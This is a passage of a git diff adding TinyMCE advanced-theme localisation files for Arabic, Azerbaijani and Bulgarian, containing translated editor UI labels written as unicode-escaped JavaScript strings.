\ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/ar_dlg.js b/js/tiny_mce2/themes/advanced/langs/ar_dlg.js new file mode 100755 index 0000000..6cfc8ad --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advanced_dlg',{"link_list":"\u0642\u0627\u0626\u0645\u0647 \u0627\u0644\u0648\u0635\u0644\u0627\u062a","link_is_external":"\u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a \u0623\u062f\u062e\u0644\u062a\u0647 \u064a\u0628\u062f\u0648 \u0631\u0627\u0628\u0637 \u062e\u0627\u0631\u062c\u064a \u060c \u0647\u0644 \u062a\u0631\u064a\u062f \u0625\u0636\u0627\u0641\u0629 \u0628\u0627\u062f\u0626\u0629 http:// \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629\u061f","link_is_email":"\u0627\u0644\u0631\u0627\u0628\u0637 \u0627\u0644\u0630\u064a \u0623\u062f\u062e\u0644\u062a\u0647 \u064a\u0628\u062f\u0648 \u0623\u0646 \u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0628\u0631\u064a\u062f \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u060c \u0647\u0644 \u062a\u0631\u064a\u062f \u0625\u0636\u0627\u0641\u0629 \u0645\u064a\u0644\u062a\u0648 \u0627\u0644\u0645\u0637\u0644\u0648\u0628\u0629 :\u061f \u0628\u0627\u062f\u0626\u0629","link_titlefield":"\u0627\u0644\u0639\u0646\u0648\u0627\u0646","link_target_blank":"\u0641\u062a\u062d \u0627\u0644\u0631\u0627\u0628\u0637 \u0641\u0649 \u0646\u0627\u0641\u0630\u0647 \u062c\u062f\u064a\u062f\u0647","link_target_same":"\u0641\u062a\u062d \u0627\u0644\u0631\u0627\u0628\u0637 \u0641\u0649 \u0646\u0641\u0633 \u0627\u0644\u0646\u0627\u0641\u0630\u0647","link_target":"\u0627\u0644\u0647\u062f\u0641","link_url":"\u0639\u0646\u0648\u0627\u0646 URL \u0644\u0644\u0648\u0635\u0644\u0647","link_title":"\u0627\u0636\u0641/\u0639\u062f\u0644 \u0648\u0635\u0644\u0647","image_align_right":"\u064a\u0645\u064a\u0646","image_align_left":"\u064a\u0633\u0627\u0631","image_align_textbottom":"\u0627\u0633\u0641\u0644 \u0627\u0644\u0646\u0635","image_align_texttop":"\u0627\u0644\u0646\u0635 \u0627\u0644\u0623\u0639\u0644\u0649","image_align_bottom":"\u0627\u0644\u0642\u0627\u0639","image_align_middle":"\u0627\u0644\u0623\u0648\u0633\u0637","image_align_top":"\u0627\u0644\u0623\u0639\u0644\u0649","image_align_baseline":"\u0627\u0644\u0623\u0633\u0627\u0633","image_align":"\u0645\u062d\u0627\u0630\u0627\u0629","image_hspace":"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0627\u0641\u0642\u064a\u0647","image_vspace":"\u0627\u0644\u0645\u0633\u0627\u0641\u0647 \u0627\u0644\u0639\u0645\u0648\u062f\u064a\u0647","image_dimensions":"\u0627\u0644\u0623\u0628\u0639\u0627\u062f","image_alt":"\u0648\u0635\u0641 \u0627\u0644\u0635\u0648\u0631\u0647","image_list":"\u0642\u0627\u0626\u0645\u0647 \u0627\u0644\u0635\u0648\u0631","image_border":"\u0627\u0644\u062d\u062f\u0648\u062f","image_src":"\u0631\u0627\u0628\u0637 \u0627\u0644\u0635\u0648\u0631\u0647","image_title":"\u0627\u0636\u0641/\u0639\u062f\u0644 \u0635\u0648\u0631\u0629","charmap_title":"\u0627\u062e\u062a\u064a\u0627\u0631 \u062d\u0631\u0641 \u0645\u062e\u0635\u0635","colorpicker_name":"\u0627\u0633\u0645:","colorpicker_color":"\u0627\u0644\u0644\u0648\u0646 :","colorpicker_named_title":"\u0627\u0644\u0623\u0644\u0648\u0627\u0646 \u0627\u0644\u0645\u0633\u0645\u0627\u0629","colorpicker_named_tab":"\u0627\u0644\u0645\u0633\u0645\u0627\u0629","colorpicker_palette_title":"\u0644\u0648\u062d \u0627\u0644\u0623\u0644\u0648\u0627\u0646","colorpicker_palette_tab":"\u0644\u0648\u062d","colorpicker_picker_title":"\u0643\u0627\u0634\u0641 \u0627\u0644\u0644\u0648\u0646","colorpicker_picker_tab":"\u0627\u0644\u0643\u0627\u0634\u0641","colorpicker_title":"\u0627\u062e\u062a\u0631 \u0627\u0644\u0644\u0648\u0646","code_wordwrap":"\u0627\u0644\u062a\u0641\u0627\u0641 \u0627\u0644\u0646\u0635","code_title":"\u062a\u0639\u062f\u064a\u0644 \u0627 \u0644\u0634\u064a\u0641\u0631\u0647 \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0647","anchor_name":"\u0627\u0633\u0645 \u0627\u0644\u0645\u0631\u0633\u0627\u0647","anchor_title":"\u0625\u062f\u0631\u0627\u062c / \u062a\u062d\u0631\u064a\u0631 \u0645\u0631\u0633\u0627\u0629","about_loaded":"\u0627\u0644\u0627\u0636\u0627\u0641\u0627\u062a \u0627\u0644\u0645\u062d\u0645\u0644\u0647","about_version":"\u0627\u0644\u0627\u0635\u062f\u0627\u0631","about_author":"\u0627\u0644\u0643\u0627\u062a\u0628","about_plugin":"\u0627\u0644\u0645\u0648\u0642\u0639","about_plugins":"\u0627\u0644\u0625\u0636\u0627\u0641\u0627\u062a","about_license":"\u0627\u0644\u062a\u0631\u062e\u064a\u0635","about_help":"\u0645\u0633\u0627\u0639\u062f\u0647","about_general":"\u0639\u0646","about_title":"\u0639\u0646 \u0627\u0644\u0645\u062d\u0631\u0631","charmap_usage":"\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0623\u0633\u0647\u0645 \u0627\u0644\u0623\u064a\u0645\u0646 \u0648\u0627\u0644\u0623\u064a\u0633\u0631 \u0644\u0644\u062a\u0646\u0642\u0644.","anchor_invalid":"\u0627\u0644\u0631\u062c\u0627\u0621 \u062a\u062d\u062f\u064a\u062f \u0625\u0633\u0645 \u064a\u0635\u0644\u062d \u0644\u0644\u0645\u0631\u0633\u0627\u0647","accessibility_help":"\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0648\u0635\u0648\u0644","accessibility_usage_title":"\u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0639\u0627\u0645","invalid_color_value":"\u0642\u064a\u0645\u0647 \u062e\u0637\u0623 \u0644\u0644\u0648\u0646"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/az.js b/js/tiny_mce2/themes/advanced/langs/az.js new file mode 100755 index 0000000..1edbec2 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/az.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advanced',{"underline_desc":"Altdan x\u0259tt (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Yar\u0131qal\u0131n (Ctrl+B)",dd:"Terminin m\u00fc\u0259yy\u0259n edilm\u0259si",dt:"M\u00fc\u0259yy\u0259n edil\u0259n termin",samp:"Kod n\u00fcmun\u0259si",code:"Kod",blockquote:"Sitat bloku",h6:"Ba\u015fl\u0131q 6",h5:"Ba\u015fl\u0131q 5",h4:"Ba\u015fl\u0131q 4",h3:"Ba\u015fl\u0131q 3",h2:"Ba\u015fl\u0131q 2",h1:"Ba\u015fl\u0131q 1",pre:"Formatlanm\u0131\u015f m\u0259tn",address:"\u00dcnvan",div:"B\u00f6lm\u0259",paragraph:"Abzas",block:"Format",fontdefault:"\u015erift","font_size":"\u015erift \u00f6l\u00e7\u00fc\u015f\u00fc","style_select":"Still\u0259r","image_delta_width":"65","more_colors":"Daha \u00e7ox r\u0259ng","toolbar_focus":"Alt+Q - al\u0259t d\u00fcym\u0259l\u0259rin\u0259 ke\u00e7, Alt-Z - redaktoruna ke\u00e7, Alt-X - elementl\u0259r yoluna ke\u00e7",newdocument:"\u0130\u00e7ind\u0259kil\u0259ri tam t\u0259mizl\u0259m\u0259kd\u0259 \u0259minsiniz?",path:"Yol","clipboard_msg":"Kopyalama/\u018flav\u0259 et Mozilla v\u0259 Firefox-da i\u015fl\u0259mir.\nN\u0259 ba\u015f verdiyi haqda daha \u0259trafl\u0131 \u00f6yr\u0259nm\u0259k ist\u0259yirsiniz?","blockquote_desc":"Sitat bloku","help_desc":"K\u00f6m\u0259k","newdocument_desc":"Yeni s\u0259n\u0259d","image_props_desc":"\u015e\u0259kil x\u00fcsusiyy\u0259ti","paste_desc":"\u018flav\u0259 et","copy_desc":"Kopyala","cut_desc":"K\u0259s","anchor_desc":"L\u00f6vb\u0259r \u0259lav\u0259/redakt\u0259 et","visualaid_desc":"G\u00f6nd\u0259ril\u0259n/g\u00f6r\u00fcnm\u0259z elementl\u0259ri yand\u0131r/s\u00f6nd\u00fcr","charmap_desc":"X\u00fcsusi simvol \u0259lav\u0259 et","backcolor_desc":"Fonun r\u0259ngini se\u00e7","forecolor_desc":"M\u0259tnin r\u0259ngini se\u00e7","custom1_desc":"\u00d6z t\u0259svirinizi daxil edin","removeformat_desc":"Formatlaman\u0131 l\u0259\u011fv et","hr_desc":"\u00dcf\u00fcqi x\u0259tt \u0259lav\u0259 et","sup_desc":"Yuxar\u0131 indeks","sub_desc":"A\u015fa\u011f\u0131 indeks","code_desc":"HTML-m\u0259nb\u0259ni redakt\u0259 et","cleanup_desc":"\u018fyri kodu t\u0259mizl\u0259","image_desc":"\u018flav\u0259 et/\u015f\u0259kili redakt\u0259 et","unlink_desc":"Ke\u00e7idi sil","link_desc":"\u018flav\u0259 et/ke\u00e7idi redakt\u0259 et","redo_desc":"T\u0259krarla (Ctrl+Y)","undo_desc":"L\u0259\u011fv et (Ctrl+Z)","indent_desc":"Bo\u015f yeri b\u00f6y\u00fct","outdent_desc":"Bo\u015f yeri ki\u00e7ilt","numlist_desc":"N\u00f6mr\u0259l\u0259nmi\u015f siyah\u0131","bullist_desc":"Qeyd edilmi\u015f siyah\u0131","justifyfull_desc":"Enin\u0259 d\u00fczl\u0259ndir","justifyright_desc":"Sa\u011fdan d\u00fczl\u0259ndir","justifycenter_desc":"M\u0259rk\u0259z\u0259 d\u00fczl\u0259ndir","justifyleft_desc":"Soldan d\u00fczl\u0259ndir","striketrough_desc":"Qaralanm\u0131\u015f","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/az_dlg.js b/js/tiny_mce2/themes/advanced/langs/az_dlg.js new file mode 100755 index 0000000..de9a2f4 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advanced_dlg',{"link_list":"Ke\u00e7idl\u0259r siyah\u0131s\u0131","link_is_external":"Daxil edil\u0259n \u00fcnvan xarici ke\u00e7id\u0259 b\u0259nz\u0259yir. http:// prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?","link_is_email":"Daxil edil\u0259n \u00fcnvan e-po\u00e7ta b\u0259nz\u0259yir. mailto: prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?","link_titlefield":"Ad\u0131","link_target_blank":"Ke\u00e7idi yeni p\u0259nc\u0259r\u0259d\u0259 a\u00e7","link_target_same":"Ke\u00e7idi h\u0259min p\u0259nc\u0259r\u0259d\u0259 a\u00e7","link_target":"H\u0259d\u0259f","link_url":"Ke\u00e7id \u00fcnvan\u0131","link_title":"Ke\u00e7idi \u0259lav\u0259/redakt\u0259 et","image_align_right":"Sa\u011fa","image_align_left":"Sola","image_align_textbottom":"M\u0259tn a\u015fa\u011f\u0131s\u0131 \u00fczr\u0259","image_align_texttop":"M\u0259tn yuxar\u0131s\u0131 il\u0259","image_align_bottom":"A\u015fa\u011f\u0131 il\u0259","image_align_middle":"M\u0259rk\u0259z il\u0259","image_align_top":"Yuxar\u0131 il\u0259","image_align_baseline":"Bazis liniyas\u0131 \u00fczr\u0259","image_align":"Tarazla\u015fd\u0131r","image_hspace":"\u00dcf\u00fcqi f\u0259za","image_vspace":"\u015eaquli f\u0259za","image_dimensions":"\u00d6l\u00e7\u00fcl\u0259r","image_alt":"\u015e\u0259klin t\u0259sviri","image_list":"\u015e\u0259kil siyah\u0131s\u0131","image_border":"S\u0259rh\u0259d","image_src":"\u015e\u0259klin \u00fcnvan\u0131","image_title":"\u015e\u0259kli \u0259lav\u0259/redakt\u0259 et","charmap_title":"X\u00fcsusi simvol se\u00e7in","colorpicker_name":"Ad\u0131:","colorpicker_color":"R\u0259ng:","colorpicker_named_title":"Adland\u0131r\u0131lm\u0131\u015f r\u0259ngl\u0259r","colorpicker_named_tab":"Adland\u0131r\u0131lm\u0131\u015f","colorpicker_palette_title":"Palitra r\u0259ngl\u0259ri","colorpicker_palette_tab":"Palitra","colorpicker_picker_title":"R\u0259ng se\u00e7imi","colorpicker_picker_tab":"Se\u00e7im","colorpicker_title":"R\u0259ngi se\u00e7","code_wordwrap":"S\u00f6zl\u0259rin s\u0259tr\u0259 ke\u00e7idi","code_title":"HTML-m\u0259nb\u0259 redaktoru","anchor_name":"L\u00f6vb\u0259r ad\u0131","anchor_title":"L\u00f6bv\u0259r \u0259lav\u0259/redakt\u0259 et","about_loaded":"Y\u00fckl\u0259nil\u0259n plaginl\u0259r","about_version":"Versiya","about_author":"M\u00fc\u0259llif","about_plugin":"Plaginl\u0259r","about_plugins":"Plaginl\u0259r","about_license":"Lisenziya","about_help":"K\u00f6m\u0259k","about_general":"Proqram haqq\u0131nda","about_title":"TinyMCE haqda","anchor_invalid":"Please specify a valid anchor name.","accessibility_help":"Accessibility Help","accessibility_usage_title":"General Usage"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/bg.js b/js/tiny_mce2/themes/advanced/langs/bg.js new file mode 100755 index 0000000..6587c73 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/bg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advanced',{"underline_desc":"\u041f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u043d (Ctrl+U)","italic_desc":"\u041a\u0443\u0440\u0441\u0438\u0432 (Ctrl+I)","bold_desc":"\u041f\u043e\u043b\u0443\u0447\u0435\u0440 (Ctrl+B)",dd:"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u0434\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f",dt:"\u0414\u0435\u0444\u0438\u043d\u0438\u0446\u0438\u044f ",samp:"\u041f\u0440\u043e\u043c\u0435\u0440\u0435\u043d \u043a\u043e\u0434",code:"\u041a\u043e\u0434",blockquote:"\u0426\u0438\u0442\u0430\u0442",h6:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 6",h5:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 5",h4:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 4",h3:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 3",h2:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 2",h1:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435 1",pre:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d",address:"\u0410\u0434\u0440\u0435\u0441",div:"Div",paragraph:"\u041f\u0430\u0440\u0430\u0433\u0440\u0430\u0444",block:"\u0424\u043e\u0440\u043c\u0430\u0442",fontdefault:"\u0428\u0440\u0438\u0444\u0442","font_size":"\u0420\u0430\u0437\u043c\u0435\u0440 \u043d\u0430 \u0448\u0440\u0438\u0444\u0442\u0430","style_select":"\u0421\u0442\u0438\u043b\u043e\u0432\u0435","anchor_delta_height":"","more_colors":"\u041e\u0449\u0435 \u0446\u0432\u0435\u0442\u043e\u0432\u0435","toolbar_focus":"\u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0431\u0443\u0442\u043e\u043d\u0438\u0442\u0435 - Alt+Q, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 - Alt-Z, \u041e\u0442\u0438\u0434\u0438 \u043f\u0440\u0438 \u043f\u044a\u0442\u0435\u043a\u0430\u0442\u0430 \u043d\u0430 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438\u0442\u0435 - Alt-X",newdocument:"\u0421\u0438\u0433\u0443\u0440\u0435\u043d \u043b\u0438 \u0441\u0442\u0435, \u0447\u0435 \u0438\u0441\u043a\u0430\u0442\u0435 \u0434\u0430 \u0438\u0437\u0447\u0438\u0441\u0442\u0438\u0442\u0435 \u0446\u044f\u043b\u043e\u0442\u043e \u0441\u044a\u0434\u044a\u0440\u0436\u0430\u043d\u0438\u0435?",path:"\u041f\u044a\u0442","clipboard_msg":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435/\u041e\u0442\u0440\u044f\u0437\u0432\u0430\u043d\u0435/\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435 \u043d\u0435 \u0435 \u0434\u043e\u0441\u0442\u044a\u043f\u043d\u043e \u043f\u043e\u0434 Mozilla \u0438 Firefox.\n\u0416\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u043f\u043e\u0432\u0435\u0447\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430?","blockquote_desc":"\u0426\u0438\u0442\u0430\u0442","help_desc":"\u041f\u043e\u043c\u043e\u0449","newdocument_desc":"\u041d\u043e\u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442","image_props_desc":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u0442\u0430","paste_desc":"\u041f\u043e\u0441\u0442\u0430\u0432\u044f\u043d\u0435","copy_desc":"\u041a\u043e\u043f\u0438\u0440\u0430\u043d\u0435","cut_desc":"\u0418\u0437\u0440\u044f\u0437\u0432\u0430\u043d\u0435","anchor_desc":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u043e\u0442\u0432\u0430","visualaid_desc":"\u0412\u043a\u043b./\u0438\u0437\u043a\u043b. \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u0438\u0442\u0435 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438","charmap_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0441\u0438\u043c\u0432\u043e\u043b","backcolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0444\u043e\u043d\u0430","forecolor_desc":"\u0418\u0437\u0431\u0435\u0440\u0438 \u0446\u0432\u044f\u0442 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","custom1_desc":"\u0412\u0430\u0448\u0435\u0442\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u0443\u043a","removeformat_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u0430\u043d\u0435\u0442\u043e","hr_desc":"\u0412\u043c\u044a\u043a\u043d\u0438 \u0445\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043b\u0438\u043d\u0438\u044f","sup_desc":"\u0413\u043e\u0440\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","sub_desc":"\u0414\u043e\u043b\u0435\u043d \u0438\u043d\u0434\u0435\u043a\u0441","code_desc":"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 HTML","cleanup_desc":"\u0418\u0437\u0447\u0438\u0441\u0442\u0438 \u043a\u043e\u0434\u0430","image_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","unlink_desc":"\u041f\u0440\u0435\u043c\u0430\u0445\u043d\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_desc":"\u0412\u043c\u044a\u043a\u0432\u0430\u043d\u0435/\u0440\u0435\u0434\u0430\u043a\u0446\u0438\u044f \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","redo_desc":"\u0412\u044a\u0437\u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0432\u0430\u043d\u0435 (Ctrl+Y)","undo_desc":"\u041e\u0442\u043c\u044f\u043d\u0430 (Ctrl+Z)","indent_desc":"\u0423\u0432\u0435\u043b\u0438\u0447\u0430\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","outdent_desc":"\u041d\u0430\u043c\u0430\u043b\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043e\u0442\u0441\u0442\u044a\u043f\u0430","numlist_desc":"\u041d\u043e\u043c\u0435\u0440\u0430","bullist_desc":"\u0412\u043e\u0434\u0430\u0447\u0438","justifyfull_desc":"\u0414\u0432\u0443\u0441\u0442\u0440\u0430\u043d\u043d\u043e","justifyright_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u0434\u044f\u0441\u043d\u043e","justifycenter_desc":"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u043e","justifyleft_desc":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043e\u0442\u043b\u044f\u0432\u043e","striketrough_desc":"\u0417\u0430\u0447\u0435\u0440\u0442\u0430\u043d","help_shortcut":"\u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-F10 \u0437\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438. \u041d\u0430\u0442\u0438\u0441\u043d\u0435\u0442\u0435 ALT-0 \u0437\u0430 \u043f\u043e\u043c\u043e\u0449","rich_text_area":"\u0417\u043e\u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u0435\u043d \u0442\u0435\u043a\u0441\u0442","shortcuts_desc":"\u0417\u0430 \u0434\u043e\u0441\u0442\u044a\u043f \u0434\u043e Help",toolbar:"\u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/bg_dlg.js b/js/tiny_mce2/themes/advanced/langs/bg_dlg.js new file mode 100755 index 0000000..43aa8db --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advanced_dlg',{"link_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u043b\u0438\u043d\u043a\u043e\u0432\u0435","link_is_external":"URL-\u0442\u043e \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 \u0432\u044a\u043d\u0448\u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430, \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 http:// \u043f\u0440\u0435\u0444\u0438\u043a\u0441?","link_is_email":"URL-\u0442\u043e \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 email \u0430\u0434\u0440\u0435\u0441, \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441?","link_titlefield":"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435","link_target_blank":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430\u0442\u0430 \u0432 \u043d\u043e\u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446","link_target_same":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430\u0442\u0430 \u0432 \u0441\u044a\u0449\u0438\u044f\u0442 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446","link_target":"\u0426\u0435\u043b","link_url":"URL \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","image_align_right":"\u0414\u044f\u0441\u043d\u043e","image_align_left":"\u041b\u044f\u0432\u043e","image_align_textbottom":"\u0422\u0435\u043a\u0441\u0442 \u0434\u043e\u043b\u0443","image_align_texttop":"\u0422\u0435\u043a\u0441\u0442 \u0433\u043e\u0440\u0435","image_align_bottom":"\u0414\u043e\u043b\u0443","image_align_middle":"\u0426\u0435\u043d\u0442\u0440\u0438\u0440\u0430\u043d\u0435","image_align_top":"\u0413\u043e\u0440\u0435","image_align_baseline":"\u0411\u0430\u0437\u043e\u0432\u0430 \u043b\u0438\u043d\u0438\u044f","image_align":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435","image_hspace":"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435","image_vspace":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u0440\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435","image_dimensions":"\u0420\u0430\u0437\u043c\u0435\u0440\u0438","image_alt":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","image_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438","image_border":"\u0420\u0430\u043c\u043a\u0430","image_src":"URL \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","image_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430","charmap_title":"\u0418\u0437\u0431\u0435\u0440\u0435\u0442\u0435 \u0441\u0438\u043c\u0432\u043e\u043b","colorpicker_name":"\u0418\u043c\u0435:","colorpicker_color":"\u0426\u0432\u044f\u0442:","colorpicker_named_title":"\u0418\u043c\u0435\u043d\u0443\u0432\u0430\u043d\u0438 \u0446\u0432\u0435\u0442\u043e\u0432\u0435","colorpicker_named_tab":"\u0418\u043c\u0435\u043d\u0443\u0432\u0430\u043d\u0438","colorpicker_palette_title":"\u0426\u0432\u0435\u0442\u043e\u0432\u0430 \u043f\u0430\u043b\u0438\u0442\u0440\u0430","colorpicker_palette_tab":"\u041f\u0430\u043b\u0438\u0442\u0440\u0430","colorpicker_picker_title":"\u0418\u0437\u0431\u043e\u0440 \u043d\u0430 \u0446\u0432\u044f\u0442","colorpicker_picker_tab":"\u0418\u0437\u0431\u043e\u0440","colorpicker_title":"\u0418\u0437\u0431\u0435\u0440\u0435\u0442\u0435 \u0446\u0432\u044f\u0442","code_wordwrap":"\u041f\u0440\u0435\u043d\u043e\u0441 \u043d\u0430 \u0434\u0443\u043c\u0438","code_title":"\u0420\u0435\u0434\u0430\u043a\u0442\u043e\u0440 \u043d\u0430 HTML","anchor_name":"\u0418\u043c\u0435 \u043d\u0430 \u043a\u043e\u0442\u0432\u0430\u0442\u0430","anchor_title":"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043a\u043e\u0442\u0432\u0430","about_loaded":"\u0417\u0430\u0440\u0435\u0434\u0435\u043d\u0438 